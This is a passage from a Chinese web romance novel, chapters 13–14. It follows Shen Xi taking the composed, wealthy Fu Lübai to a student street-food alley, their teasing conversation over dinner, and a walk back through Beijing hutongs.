傅律白眉梢微扬,整个人十分松散的靠进沙发里,他腿长肩宽的,只是这样的舒展着,便带上了几分意气风流,微垂眸,嘴角带上了几分无奈又好笑,“有。”
周闻颂愣了下,不知何事值得傅先生有这样的情绪波动来。傅先生平时整个人很淡很稳,有着泰山崩于前而面不改的沉稳,让人安心。那时他觉得,男人就当如此,非常有魅力。
可此时,不经意露出了一分豪情疏狂来,又带有冲击力的让人移不开眼。
“……”沈晞无语的闭了闭眼睛,又一幅懒得和他一般见识的模样,“那就明天晚上六点,定位我发你。”
傅律白十分绅士的问:“需不需要去接你。”
因不确定她之前是否还有别的安排,没有直接说去接,而是将选择权给她。
沈晞非常爽快的说:“不用。”
“我要去工作了,拜拜。”
字里行间都是“我是有工作的人,不像有的人,那么游手好闲”的傲娇。
电话挂断的相当干净利落不拖泥带水。
轻快充满活力的声音骤然消失,让人有些不适应。
傅律白轻垂了下眼睑,再次抬眸时,却对上了周闻颂直直的目光。
“!”
察觉到自己失礼,周闻颂快速收回了自己的视线。
“……”傅律白眸色顿了下,并未在意,只当他是在等自己的回复。
淡声道:“明天我有事,和冯先生说改日有机会再说吧。”
正在暗自痛骂自己专业度太差劲的周闻颂听到这句话一时间没反应过来,更加不专业的“啊”了一声。
傅律白淡淡看过去,“有问题?”
周闻颂已经不想骂自己,不着痕迹的狠狠掐了自己一把,表情异常职业性和专业性的说:“没有。”
有新消息进入。
傅律白垂眸去看,已经有些年月没收到过彩信,倒是新鲜。图片慢慢加载,直到出现地点定位。
便也没看到周闻颂有些狐疑的目光。
他怎么记得,在接这通电话前,傅先生隐隐吐出来的单字节,是“可以”的“可”啊?
13. 第 13 章
沈晞挂断电话,早上才擦干净的走廊墙砖有些花。
“……”
她一脸复杂的看了眼自己的右手,默默收回,带着点鄙夷。
-
春日正午的阳光穿过窗外郁郁葱葱的梧桐树,照到床上。
沈晞闭着眼,眼球微微转动着,人已经醒了,却还是抱着软绵绵的被子不动。甚至还微微翻了个身,换了个更加舒服的姿势,更加深陷进被子里。
被子是纯白的珊瑚绒,虽然天气已经回暖,但这段时间太忙也未来得及换轻薄的。金灿灿的暖光有了树叶的遮挡,柔和的打在她白皙又光洁的脸上,甚至能看到上面细小的绒毛。
不知过了几分钟,她又闭着眼,脸贴着柔软的被子舒适的轻蹭了蹭,才慢吞吞的睁开了眼睛,抬起胳膊伸了个大大又软绵的懒腰,全身上下连骨头都带着懒散。
捞起旁边的手机看了眼,不用上班的周六真快乐,一觉竟然被她睡到了下午一点。
她懒在床上没有动,翻个身趴在床上玩起了手机,刷刷这个玩玩那个时间一眨眼就过去,等两点多时,她才彻底清醒了过来,坐起身点上了外卖。
午饭过后再工作这个节点非常的困,没有什么是比此时更需要一杯爱心下午茶更提神醒脑抚慰心灵的了,她非常懂——
但不愿懂:)
半个小时后,锐昇会议室里。
大家张哈流泪的喝茶奶茶,微微提起了点精神。
不知谁忽然问道:“对了,茜宝儿呢?好像一个上午都没见她。”
这时,老周也顶着个黑眼圈,从众多饮品中摸出了杯凉的喝了口,人的兴奋度被带起来了不少,刚好路过,听到后说:“我看她昨天困恍惚的把手都给割破了,就让她今天休息了。”
等他没精打采的悠悠哒哒走向自己的工位,旁边的人没听清,又侧头问向直接和老周对话的女生,“刚刚说茜茜怎么了?”
“手被割破了,划了那么一大道口子。”说着,还伸出手来比划了下,龇牙咧嘴的单是听听都觉得疼。
“啊?”旁边的人睁大了眼睛,“这么长都得见骨头了吧?”
“是吧,”女生表情沉痛,“要不怎么人都来不了了。”
“天呐,茜宝儿一定痛死了。”
痛死了的沈晞在寝室洗漱完,看了眼时间,觉得这个点有点尴尬,吃饭的话晚上一定吃不动了,不吃又有点饿。她有点后悔,约到了晚上。
但现在在临时改时间的话,她觉得傅律白应当时生活作息很有规矩的人,这个不上不下的时间他一定吃过了。沈晞在宿舍里转了转,最后找到了一个苹果,洗干净后又拿出把水果刀来,边削边吃打发着时间。
-
“什么?”
人群熙攘中,傅律白有些没太听清,微微俯身侧头。
即使这样,两个人也有些距离,沈晞踮起脚,撑手在他耳边提高了些音量,试图压下一旁铁锅炒饭的声音,“我说,我去那边再买一份鸭脖,你去店里等我吧。”
她指了指不远处的店,他们刚在那要了一份锡纸金针菇,“你去里面等我吧。”
傅律白这才听清,刚要开口,抬眸时发现有人从她身后挤过,他抬手挡了下,沈晞站的稳稳的没察觉,傅律白的手指却蹭上了些刚刚过去那人手中提的烧烤的油。
油腻腻的,在修长冷白自带些清冷气质的手指间,显得极其违和。
他却像浑然不知般不在意,收回手,垂在身侧,淡声道:“一起吧。”
她这个小身板应该不禁撞,等挤回来鸭脖都得骨折,经历死后的二次伤害。
“哦。”建议被拒绝,沈晞也没在意。
本来是觉得,他这样子的人在这里挤,实在是有些为难他。既然他这样讲,那就,“走吧。”
沈晞率先往前走了一步,被身长腿长的傅律白一步跟上,但两个人间的距离却又更近了些,是他伸直胳膊就能挡一挡旁的人,避免鸭子死后再受二次伤害的距离。
十五分钟后,两人终于回到店中。
沈晞看着面前,抽着桌子上放的纸巾,耐心又细致擦着桌椅的人,神色如常。
他这样子的人,做什么都带着从容清贵气的,即使现在,举手投足也是赏心悦目的,并不觉得做作。
沈晞便没那么多的讲究了,一屁股在他对面坐了下来,看着面前桌子上一份份热腾腾香喷喷却难免沾着些油的小食,全是正在擦桌子的人提回来的。
傅先生当真好绅士。
傅律白将用过的纸放进垃圾桶,发现人已经在自己对面安稳坐好并且已经开始拆袋子,“……”
他眸色微顿,没讲话,也未再提,叫她坐过来,只眼睑微垂,自己坐下。
老板按着桌子上的牌号将煮好的花甲粉端上来,刚好看到傅律白正在擦桌子。
傅律白坐下后,抬头道谢,便对上了老板一脸“你一个大男人怎么比人家姑娘还讲究矫情”的表情。
傅律白:“……”
但在下一秒,老板看到面前人的正脸时,就越觉得,这样气质的人合该挑剔一点的。甚至都不能说是挑剔,是理所应当,并且因为他端端又客气的坐在这里,好似他这个小店,以这位先生为中心都变得清亮熠熠生辉起来。
不在是一个朴素的锡纸金针菇店,而是有人站在一旁拉着悠扬小提琴的高档西餐厅。
情绪转换的太快,以至于老板的面部表情看上去都有些扭曲的割裂。
侧对着,沈晞只看到老板收走号码牌时,走的莫名有些端庄,挺胸抬头的,像是五星级酒店托着什么镇店招牌似的,如果不是同手同脚的话。
今天生意太好,站到腿都不舒服了么?
沈晞收回视线,一时间不知该为工作辛苦而感叹还是为生意好而开心,最终还是选择愉快的打开面前未解完的食物袋子,然后拿起一串烤的焦香的肉串吃了起来。
相较于冯先生的诚意与用心,茜茜小姐便显得有些随意。将人约在了学校附近的小吃街中,昨日她也并非客气矜持,确实不需要傅律白来接。
说是随意,其实她也是用了心思的。知道傅先生不是钟鸣鼎食也是含着金汤匙出生的,什么稀罕食物没吃过,什么样的店没去过。她无论约到哪里,在他眼中大抵都是一样,也不会觉得高级。
倒不如选一个自己最熟悉喜欢的地方,倒显坦诚,更是坦然。
下午就吃了个苹果,这会儿她是真的饿了,吃的酣畅,但被她请来的客人似乎没有她这样的好胃口。
却也体面,每一样都没拂了她的面子,都吃了些。吃东西的样子也斯文矜贵,木质的一次性筷子在他手中,生生被抬成了玉筷,但几乎跟未动过一样的食物,被戳穿即使被衬成玉盘,里面的也不是珍馐。
沈晞啃着鸡翅,一双清澈漆黑的眸静静地看着他。
大概是因不知约去哪里,什么样的场合,所以他还是惯常的衣着,偏休闲的质地柔软的衬衣,这不过今天未穿白,白色太亮太惹眼,也没穿更加内敛低调的灰,而是穿了一件偏米色的,更加柔和轻越些。
这样的装扮去任何场合都适用,不会出错而尴尬。
但沈晞想,就算是让他穿着一身运动服去参加什么酒会,他大概率也仍会十分从容自得。就像刚刚,在那样人来人往嘈杂拥挤的环境中,他也从容体面未见任何不悦,甚至连轻微的皱眉都没有。
再像现在,坐在她面前,连坐的姿态都松弛融入,人并不紧绷,一只手拿着汤勺喝着面前的米酒,可脊背仍是直的。这大抵是他唯一还能接受的东西,便被他喝出了琼浆玉露的感觉,真挺诱人想借着他那玉般清贵又禁欲的修长手指,尝尝他手中汤勺中的东西是否和常人的不一样,又是怎样的滋味。
“怎么,吃不惯啊?”她拿着鸡翅,手沾了些油,也未管,就那样挑眉睨着他,笑着问,可眼底却未带任何笑意。
像是早就看透一切的看着他。
又像是,撕碎了某些冷酷的现实,残忍又带着些偏执。鸡翅都似乎成了凶器,手上点点油腥都像是淌着的鲜血。
她看到傅律白有些微怔的抬起头,大概是没想到她会这样的直接戳破,毕竟她才是这场宴请的主人,多尴尬。
可沈晞表情未变,像是不懂一样,仍旧那样看着他。
有着这个年纪的姑娘应有的执拗与棱刺。
她甚至都猜到,体面如傅律白,大概下一秒就会语调温和又带着他独有的秩序感,不紧不慢的讲:看茜茜吃的这样喜欢,不太好意思和你抢。
宽和又不失风趣,十分得心应手的便能化解这份尴尬。
她的发难于他而言,不过如落在他衣袖的灰尘般,轻轻掸一下,便轻而易举的处理掉。
可她仍旧浅笑着,等待着尘埃由他亲手掸掉。
然而傅律白只是微怔了那么一下,将勺子放下,看着她道:“时差还没倒过来,不是很有胃口。而且我晚餐,向来也吃的不是很多。”
他语调温和,不是被误解后的解释,也并未卖惨亦或指责她的不体贴他才回国便约,没给他一些修整的时间,更像是卧膝长谈,一笔带过却又说着自己的一些小细节小习惯,更加深入不再只是停留在表面的点头交情。
尤其是混在这平凡却又最为难得的人间烟火中,更显得格外温情,像是围炉煮茶般消除了人与人间的隔阂。
沈晞脸上那看似天真却又看透一切的冷笑僵在嘴角,眸色微顿,眼中藏着的尖锐被茫然取代,不知过了几秒,似是终于反应过来,有些尴尬近乎仓惶的垂下眸,眼睫轻眨,再也看不清里面的情绪。
她下意识想拿着手中东西吃上一口,来缓解着内心的情绪,放到嘴边时才发现鸡翅已经啃完,没有一丁点肉,此时她看上去就像是再吃骨头。
沈晞:“……”
那一刻,她竟然有些想笑,但好似情绪到了个顶点便也释然了。
人反而更加的坦然。
她将骨头放到桌上,想处理下这满手的油腻。
傅律白也没再叫她更加尴尬的取笑调侃她,干嘛连骨头也不放过不够吃可以再买云云。反而十分绅士的将面前的纸抽出两张来拿给她。
其实和傅律白一起,是不用担心难堪的,他总是会十分的妥帖又分寸,偶尔恰到好处的风趣开些玩笑,但他的度总是拿捏的很好。
所以和他在一起,会感到很舒服。
如果他想,他应当能让任何和他相处的人,都觉得舒服又轻松。但沈晞知道,这是一种向下的兼容,她在被他包容照顾而已。
想到这,才释然的情绪又微微有反扑的趋势,但很轻微,很快就被压了下去,抛之脑后,
沈晞大方又轻快的道了声谢。
傅律白继续不紧不慢喝着面前的蛋花米酒,“不谢。”
情绪轻松后,思维就容易发散,沈晞扎了颗章鱼小丸子,忍不住回想着他刚刚那句话,“还真符合霸总的设定,难道霸总真不吃饭?只有这样才能当霸总?”
“什么?”傅律白吃东西的习惯很好,舀一勺进嘴里,便会再将勺子放回去,再去舀时,抬眸便见面前的人微微垂眸,眉宇间还带着点认真,像是在思索着什么,嘴还一张一合的嘟囔着,但他没太听清,只感觉似乎是个疑问句,以为是在问他什么。
“嗯?”沈晞没想到自己还真说出了声,但她实在是太好奇,趁着这个情绪,一脸认真又好奇的看向他,“那你有胃病么?”
还是第一次见有人这样认真又研究般的问人有没有病的,也就是傅律白,还能神色如常又如实的说:“这倒是没有。”
“这样啊……”听到答案的沈晞收回了眸,低头喝了口奶茶。
怎么看怎么听,都有些遗憾和惋惜。
傅律白:“……”
大概是也意识到这话问的有些没礼貌,解释道:“就是一般小说设定里,十个霸总得有八个有胃病的,剩下那两个也得是没什么胃口天天靠喝露水生存的。”
她吐槽的真情实感,讲话都眉飞色舞的,散发着蓬勃而又鲜活的生命力。
她真的好有趣。
“还有这种说法。”
大概是觉得新鲜,又或许是内行看外行,外界竟然是这样看他们的,当个笑闻,傅律白在她声情并茂的带动下,也忍不住笑,说:“那我尽量,当个更全面一点的‘霸总’。”
沈晞愣了下,才反应过来他说的“全面”是指什么,眉眼都弯了起来,“这样的‘全面’还是不要了吧。”
她心情好,笑起来,声音就会变得软,尾音拖着,像是在撒娇。
和刚刚笑问他‘吃不惯’时,简直像是两个人。
傅律白静静地看着她。
沈晞笑完,胃口更是大开,“那我就不管你喽。”
傅律白微微颔首,很绅士的回:“茜茜小姐不必客气。”
又哪里会客气,她都快独自吃完了小一半,分明是在逗她。
沈晞轻睨了他一眼,将花甲粉直接挪到自己面前,在夹起时,又忍不住道:“傅律白,这个真的很好吃,你尝一个。”
一个花甲不会占多大的地方。
她将筷子拿起又放下,一脸的真诚,叫他名字时带着自己都未察觉的熟悉的尾调微拖。像是发现了好吃的不与同伴和身边人分享,美味和快乐就会大打折扣。
谁又忍心打击她的快乐。
傅律白夹起一颗来放到自己碗中,又将里面的嫩肉夹出放进嘴里。
“怎么样,”沈晞眼睛亮亮的看着他,连身体都不自觉微微前倾,“好不好吃?”
在她期待的目光中,傅律白真心实意的回:“好吃。”
“没骗你吧?”沈晞将身体靠回来,眼中带着得意与骄傲,“是不是也没比你平时吃的差很多。”
“我平时吃什么?”傅律白好笑的问。
沈晞想也未想,“山珍海味。”
傅律白轻挑了下眉,“这也是‘霸总文学’里讲的?”
“……嗯,”沈晞沉吟了下,诚实道,“确实绝大部分知识点来在于霸总小说,还有些边角补充自伟大的互联网。”
简直拉近了人与人的距离,让她知道有钱人是怎样生活的。
姜瑶不算,因为姜瑶花钱大手大脚给多少都能花光,而她父亲又早早看出她实在是没什么经商头脑,为了在自己百年后她还有家底可以败,于是每个月给她限定额度。
零花钱其实也就比自己的多个零而已。
傅律白不紧不慢的将花甲的壳夹出扔进旁边垃圾桶中,像是专注又像是漫不经心,做这些都带着股气定神闲,让看着的人都莫名平心静气几分。
他并没有抨击她知识获取方式太过单一,声音温淡的告诉她,“没那样夸张,我什么都吃。”
说完,又似乎想到什么,浅笑道:“或许是因为我还不是个足够全面的‘霸总’。”
沈晞怔愣了两秒,而后忍不住笑。他性子淡,讲着玩笑时表情也淡,可却又足够反差感
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,沈晞则笑的腰都弯了下来。
傅律白淡淡看着面前笑的开怀,眉眼弯弯点漆眸中似是藏着星光看上去越发璀璨,灿若莲花的人。
觉得能让她笑也是件趣事,之前不知怎么,她忽然不高兴,带着很强的攻击性,现下总算是又开心了。
他的嘴角也勾起抹若有似无的浅弧。
笑完后沈晞便真的不再管他,捧着那碗花甲粉大口大口的嗦着,吃到最后热了直接撸起了袖子。
傅律白看着面前吃的连额间都有些细汗的人,脸颊也因为热气而晕着淡淡的红,她本就白皙,是这样的好年岁不施粉黛便自然有的冰肌玉肤,更显白里透红,似乎有着无尽的生命力。
她是真的好不讲究,不似他周围的任何人。吃东西要小口,坐姿要端庄,妆容要精致,说话要文雅打着太极,像是带着面具活在套子里的人。
但并不是说她粗俗无礼,她吃的很爽朗却也不会弄得哪里都是,看上去有种舒展的赏心悦目;坐也不紧绷很松弛,却也不会歪歪夸夸没正行;讲话坦荡又有趣。
很是大大方方,有种落地的鲜活。
让人不禁也食指大动。
傅律白目光淡淡扫视面前一袋袋小食,最后指着一只看上去比正常鸡翅要大要饱满很多,胖嘟嘟的看上去莫名带着点Q版感的有趣,询问着,“这个可以让给我么茜茜小姐。”
前面还在绅士有礼,后面这个称呼,又像是在对应他前面打趣承诺时说的,语调微扬。
沈晞看着那个鸡翅包饭,其实还有点想吃的,但一想到,他平时肯定吃不到没吃过,怪可怜的,便很大方的让给了他,“你吃吧。”
傅律白轻笑,“多谢。”
他吃起来就斯文多了,没有将手弄油,而是用筷子夹的。沈晞觉得他没吃出精髓,在一旁看着眉微皱,有些欲言又止,但最终还是忍住了。
连桌椅都要擦一擦爱干净的傅先生,这样一说,以后怕是连吃都不会再吃一吃。
她静静地看着坐在自己面前,穿着随时可以参加商务谈判或酒会的衬衣,却啃着路边摊买来的鸡翅包饭的人。
耳边是混成一团的交谈声,却不尖锐嘈杂,只最平凡的人间烟火。
大抵是啃到了翅尖,而没那样好夹,清淡疏离的眉不禁微微蹙,出尘矜贵的人都似乎染上了些烟火气。
他背后,是成群结伴寻找着吃食的附近大学生,嬉笑打闹络绎不绝的从店外走过。
她喜欢看他身处人头攒动中,陷落红尘的样子。
不似那日在警局,强大的似乎能顶住天地遮挡一切风雨,却疏离可望不可即的让人有些难过。
沈晞搅弄着吸管,里面未化完的冰发出微响,忽然想到什么,问:“你怎么知道我电话号码的?”
警局那晚,打电话时,她只叫他名字,他接时,语调也未带面对陌生人的惊讶。昨天约他时也是,都不用她自我介绍。
他是在员工档案中翻阅过她的信息,存下号码。还是怎样的情景下,和人要的么?
他……也有在她不知道的时候,关注探寻过她么?
沈晞眼神有些来回乱飘,却见傅律白正啃完最后的翅尖,听到这话,有些诧异的看向她,像是在说“怎么会问这样的问题。”
Duang——
像是在头上狠狠一弹,沈晞猛地回过神来。
也觉得自己傻了,竟然问出这样无厘头的问题,当然是小叔给他的——虽然这之前一直是他助理联系她,但肯定是傅律白给的啊!
啊啊啊啊沈晞,你什么猪脑子么!
因为傅律白的号码,都是那日,他们在公司初遇,沈晞折返想要和他商量能不能不在小叔面前拆穿她,而后被程开霁差点认出来,她尴尬的脚趾抓地想跑时,又被傅律白叫住。
而后,走到办公桌前,很是有态度的拿起钢笔在白色便签上唰唰的写下自己的号码,递给她。
力透纸背,写出来的笔似乎比他的人看上去更加锋芒一点,笔锋很好,大约是练过。
当时她就想着,自己,究竟会在什么情况下,拨通他的电话。
没想到,会是因为——她进去找他捞自己:)
或许是现在氛围太好,让她的思维实在是太过发散,让她有些大脑短路的认为傅律白也是没她电话的。
沈晞张了张嘴,正想着如何找补,才不显得太过智障。
就见傅律白收回眸,抽出张纸巾来,慢条斯理的擦着手,淡声提醒她,“上次咖啡外卖上有写。”
她抓住了这句话中的潜藏逻辑。
不是小叔给的备注。
而是——
“你、你记住了?”沈晞猛地抬起眸,有些不敢置信的看向他,心脏都跳漏了半拍。
现在储存功能那么方便,似乎不会再有人会记他人的号码,除非……
很重要,看了无数次。
谁知下一秒傅律白有些无奈轻笑了下,“一串数字而已。”
她表情夸张的,就像他是个得了健忘症的老人而忽然记住些东西。
“……”
他说的轻描淡写,沈晞表情僵住,意识到什么,轻跳的心“吧唧”一下坠地,瞳孔有些地震:“你、你看一遍就记住了?”
“我看一遍,不应该记住?”她的反应实在是太过夸张,一时间让傅律白都不知道该怎么回答,又问,“茜茜记不住?”
他表情中,不敢置信的迟疑虽然细微,却深深伤害到了沈晞。
她面上不动声色,很是有底气的说:“当然记得住!”
“那我为什么会记不住?”傅律白淡淡抬眸,好笑的问。
问得好,问得好啊!
问得理所应当到,让沈晞都差点开始怀疑,看一遍记不住是她有问题,而不是他天赋异禀了。
不是学历史的么?!为什么对数字这么敏感啊!确定没有选错专业么??
后来,沈晞才知道,他并不只是对数字敏感。看似万事万物不入眼的傅先生,只要是他想要留心的事,总能迅速记住,有着自己的记忆体系,不然又怎么能在各方复杂势力关系中,搅弄着风云。
但此时的沈晞,只能努力保存着自己的颜面,拼命为自己找补,“我是觉得你日理万机,再说——”
她话音一顿,表情有些复杂的看了他一眼,再开口时有些慢吞吞,带着像是会刺痛别人的小心翼翼,“你这个年纪……”
“我这个年纪?”傅律白眉梢微挑,淡淡的看向她,“我什么年纪?”
沈晞看向面前的男人,他太过渊渟岳峙,这样的波澜不惊感觉就算是四十岁,也很难修成。虽然面容看上去还很年轻,实在是看不出他具体的年纪,但肯定不会是二十四五。
庄姐和其他差不多年纪的同事们,都会在桌上贴满各种便签,免得会忘记,庄姐也才三十岁。
她越想越有底气,看着他不紧不慢道:“健忘的年纪。”
“……”傅律白总是平淡的脸上,难得看出了几分匪夷所思,而后淡声说:“我今年也才二十九。”
“你……”沈晞眼睛微睁,越发的漆黑圆润,“你二十九么。”
听到外人耳中,便很像是质疑。
傅律白轻睨她,“不像?我看上去像几岁,大了还是小了?”
沈晞搅动吸管的手顿住,眼睑微垂,藏在里面的眸轻轻晃动着。
那他们,也没差很多岁嘛。
嘴角勾起抹自己都没察觉到的弧度。
14. 第 14 章
年轻的姑娘穿着宽松又慵懒的黑白条纹长T,坐在灯光里,被街边摊的小吃围绕,青春靓丽的轻而易举,鲜活又美好。
可眼睫微垂着,微微沉默,看上去似乎有些为难。
傅律白坐在一旁竟意外的没展现一点绅士风度来,替她不着痕迹的换个话题,只眸色淡淡的睨着,似执意要听个答案。
下一秒,眸色却微微一顿。
深肤色的创可贴在她素白纤细的手指上,格外惹眼,像是美玉上的瑕疵。
他淡声问:“手怎么弄的?”
执意要答案的人,就这样轻易的主动换了话题。
这才恍然想起,她似乎全程都没怎么用过这只右手,以至于这样明显的一处才看到。不能用的程度,很严重?
傅律白浅淡的目光中,带上了几分探究。
沈晞抬起眸,说起这个,她就有点无语。
并且深刻意识到,少造业口,人要诚实不能说谎,哪怕不是自己说的但间接承认,上天也不会放过你。
她因被误认作手坏,而借机休假,没想到休假当天就真华丽丽划了个口子。
当时,她整个人靠在椅子里,双腿缩起支在座上,悠闲的拿着一把很小的水果刀削着苹果皮,虽然卖相有点抱歉,没办法没找到削皮刀,但却不影响她吃的香甜。
悲剧就是在这时发生的,因为她奇葩的坐姿椅子后退受力不均,忽然中心失衡带着她整个人往后倒去。这一倒下去,刀就不知道扎哪了,说时急那时快她直接将刀往桌子上一扔,并且另一只手紧紧扒住桌边,生生把自己重心给稳住了。
一切都在分秒钟发生。
沈晞你简直太棒了,她不禁在心里夸自己。
可下一秒,扔在桌子的刀受惯性直接撞到了靠墙放的镜子,发出“啪”一生,震的整个桌子都轻晃了下,外加她扒着桌子上的力度,桌子晃的更加剧烈了一点,直接把放在二层架上的修眉刀甩了出来,对折的修眉刀在空中直接舒展开,一个漂亮的自由转体后——
直接砸在了她的手上。
沈晞整个人都傻了,都没反应过来这一切是怎么发生的,直到看到了血,痛感才延迟的传递到大脑。
“哇”的发出一声痛呼。
不过等她手哆里哆嗦龇牙咧嘴的处理完,发现其实也没那么痛,就破了个口。
却也下意识的不在用它,也不是她娇气,不过是比较爱自己,所以就连刚刚在夜市里,都是隐隐护着这只手,免得被人碰到再让她感受到一点点疼的。
但沈晞肯定不能告诉他整个过程,只说:“削水果划的。”
这样看上去,没有太蠢,也比较符合她是个出门在外都需要被长辈拜托人照顾的人设。
果然下一秒就看到傅律白淡淡的眸子中,隐隐透出了两分对她是否能独立生存的疑惑。
进了尾声,东西还剩了一点,傅律白吃没吃好她不太确定,但自己吃的很满足。不过一个不怎么有食欲的人吃完了一整个鸡翅包饭,想来总不会差到哪里去,也算是宾主尽欢。
约时,只有意想将他拉进红尘,却忘了另一茬。
小吃街向来拥堵,尤其是这种学校附近的,堪称九曲十八弯,发定位时她也没仔细看,系统应该会显示的是小吃街的正中央。
“你把车停哪儿了?”她这才想起来问。
虽说坐过几次田师傅开的车,一直都知道田师傅车技不错。
但当沈晞看到稳稳停在胡同里的那辆奔驰时,着实还是吃惊了把。
意识到今天才是见识到了田师傅的真正实力,这样的路,竟然真给开了进来。
停的也有礼有节,没挡着任何一家店铺或小摊位,影响人家的生意,也碍不着行人败了人家逛宵夜的兴致。
只不过,看着那辆通体漆黑线条流畅的奔驰车,将将卡进胡同里,几乎贴着两边的墙,打开车门都怕蹭掉块漆。
大概是这地儿采光不太行,当时胡同里的太阳能路灯苟延残喘,那光微弱的跟星星之火似的,虽然可以燎原,但顶着俩气派的车头灯隐在这,怎么看怎么憋屈,怪可怜不是见的。
实在是厉害,都不知道怎么开进来的。
当时还相对算好,但此时,才是大学生夜生活刚刚开始的时候。开始纷纷出来宵夜,都不带进店里的,全在外面小摊上光顾,水泄不通。
沈晞实在看不下去,对着身旁的人说:“别为难人家田师傅了,沿着这里出去绕到主路去吧。”
说着,她还指了指另一条胡同。
又哪里是为不为难的问题,现下这种情况再按原路生挤是挤不出的。
那条看上去比这条憋屈的虽然宽了一点,但也好不到哪里去,看上去就是一条有去无回连头都掉不了的死路。如果不是沈晞指,断然不会考虑。
傅律白仍侧身站着,眼神都未睇一下去看,大有凭她安排的意思,只顺着她话说:“茜茜小姐都求了情,哪儿有不卖面子的道理。”
他语调中带着几分夜晚和饭后的慵懒,听上去便有些漫不经心,而他身姿气质又摆在那儿,乍一听像是个风流公子哥,并且十分得心应手那种。
养尊处优的傅公子自然不愿受小胡同七扭八拐晃晃悠悠的委屈,虽然田师傅的车技已然成神。
好在茜茜小姐这位东道主对这的九曲十巷如数家珍,她指挥完老田,又转过头来,对着面前的人说:“至于你,”她微扬了扬下巴,语调轻快又带着几分散漫“就只能跟我走喽。”
十分的傲娇,是对于风流公子哥应有的态度。
公子哥不风流时自然是有礼有节的,微微颔首,“那就有劳茜茜小姐带路了。”
起初,沈晞仰着下巴手背后还装模作势的往前走了两步,但忍了几秒,听着身旁的脚步声便再也撑不住,自己先破了功,侧头冲着胡同里家家户户栅栏外种的花笑。
傅律白在旁跟着,这里的路灯比那条好了很多,将两人的身影拉的很长,高高大大的身影刚好把小小的那个包裹住。
他看着人在这样错综复杂的小胡同里都闲庭信步般,这会儿已经带着他拐了六七个弯,他淡声问:“对这里很熟?”
“怎么,”沈晞转过头来仰头看向他,“傅先生担心我把你拐了么?”
月光打在她青春美丽的脸上,带着狡黠又俏皮的笑,眼睛亮晶晶的。
傅律白眸色微顿。
未等他回答,沈晞便收起了玩笑,说:“放心吧,这里我常来,不会把你弄丢的。每个胡同深处隐藏着什么好吃的我都知道,有的时候不知道吃什么,就随便走进一条,吃完在顺着走到尽头,从胡同的另一端出来。就当是探险了。”
傅律白眉梢微扬,“会遇到惊喜么?”
“当然!”说起这个,沈晞眼底的光更亮了几分,整个人鲜活的让人移不开眼,“有时走着走着会忽然跳出来一只猫;有一次我还遇到了两个迷路的外国游客,最后还是我把他们带出去的;会不经意看到开的很好看的花……”
她说的仿佛让人身临其境,有着对生活无限的探索欲,很有感染力。
哪怕淡如傅律白,都不禁感到心口的微微发热,那是人类诞生之初生命本身所赋予的美好。
只不过在时间长久的消磨中,渐渐忘却了这份热烈。
他不动声色看着面前的人,晚风吹动她的长发,脚步轻快的走在月光下,围栏中的郁金香都为她绽放,传出馥郁的花香,却远不及她身上淡淡的挂着清晨露水的花和果的混合香味,清新干净却丰富多彩。
说到最后因有些兴奋的脸颊微红,似乎全身都散发着蓬勃的生命力,月光都不及她明亮,美好的不像话。
他不着痕迹的移开视线,“确实很有趣。”
“你也觉得有意思啊,那改天——”氛围实在是太好了,沈晞说话都忘记过了大脑,眉眼生动的,可说到一半便就回过神来,卡主了。
后面的话便说不下去。
人家兴许也只是客气,就算不是客气,怎么又开始约上了改天。
他们的关系也没到时不时约出游玩的程度,又哪里有什么改天。
正要有些狼狈的垂下眸,随便找个什么话题接过去,傅律白那样妥帖又体面的人,一定也会当什么都没发生过一样,从容的接下去。自然到,会让路过听到的人都以为刚刚那句话是自己产生的幻听。
然而傅律白的视线,却在这一刻追问下来,“改天怎么?”
沈晞的眸便动不了了,过了两秒才轻垂下来,眼神来回轻飘着,“如果你也感兴趣的话,改天,你要是、有时间,我带你去啊……”
说完,她不自觉抿了下有些微干的唇。
“这里,”傅律白轻挑了下眉,语调微扬,似乎有几分意外,“还有茜茜没探索过的路啊?”
可他又哪里有什么惊讶的表情,只淡淡含笑睨着她。
听出他是打趣她刚刚跟个总指挥官一样,还傲娇到不行的叫傅大公子跟着她,大有没她,他们都出不去的神气。
沈晞面上有点挂不住,年上实在是太懂如何激发年下的斗志,扬着头“怎么,京市胡同近千条,我的人生只限制在这里么?别的不可以探索啦?”
“那自然是可以的。”面对着被激怒的年下的伶牙俐齿,年上者依旧气定神闲的从善如流,同时还不忘将怒气往回收一收,赞扬道,“想不到茜茜还对京市挺有研究。”
沈晞轻“哼”了一声,还不忘配合动作把头扭到一边,用半个后脑勺对着他说完话外音:那当然。
很是傲娇。
傅律白眼底划过浅浅笑意,“那就有劳茜茜小姐改天带我去见一见世面。”
沈晞又将头转正,微微扬起,“好说。”
傅律白静静看着面前的人。
刚刚她话说到一半,忽然停住,到底是年纪小藏不住情绪,璀璨灵动的眉眼转瞬就颓败了下来。他也不知怎么,好好地说着说着话忽然就不高兴了。
眉眼轻垂,垂头丧气的,可却又带着股说不出的倔强。她高兴起来时的蓬勃生命力有感染力,可不开心时更有有感染力。
于是他接问了那句。
此时人傲娇的扬着下巴,连流畅的下颌线都又洋溢着明媚生动。
他这才觉得舒心,她就应当这样快乐鲜活下去。
又觉得,现在的小姑娘心思,实在是有些难懂。
走出胡同,有人坐在路边塑料凳子上吃着东西,傅律白这才发现,已然到了她学校门口。是第一次送她回来时,见到人们吃麻辣烫的地方。
“这条小吃街竟然连到了这儿。”傅律白看着,多少有些惊讶。
“当然,别小看这里啊傅先生,把整个街连起来,每天流水至少要这个数。”沈晞伸手比划了个数字,“傅先生的现金流都不一定比的过。”
毕竟公司资金都用在各种项目上,很少有大量备用。
她说的很是骄傲,好像成为她钟爱的小吃街,被她看重,便已是与有荣焉。
傅律白看着煞有见地的人,配合道:“确实。”
听他这样讲,心中早有的想法越发的强烈,沈晞目光环视着麻辣烫摊,和更远处看不太清只能看到小推车和排队的人,但沈晞知道是一家炸臭豆腐。
她轻“啊”了声,“好想把这里盘下来。”
傅律白轻挑了下眉,带着几分了然笑她,“然后等你想吃什么时,让店家排队给你送来么?”
“当然不是!”
沈晞瞪大了眼睛,不敢置信自己的形象竟然已经是这样的了,气道:“你能不能不要把我想的这么没有志向!”
“抱歉,”傅律白为自己浅薄的想法表示着歉意,并且洗耳恭听的问,“那茜茜小姐的远大志向是?”
沈晞小脸微扬,大有气吞山河的气势,十分豪言壮志道:“当然是盘下来,然后每天混吃等死的数钱!”
“……”
傅律白眸色微顿,而后道,“确实……很有志向。”
“当然。”沈晞心安理得的收下他的评价。
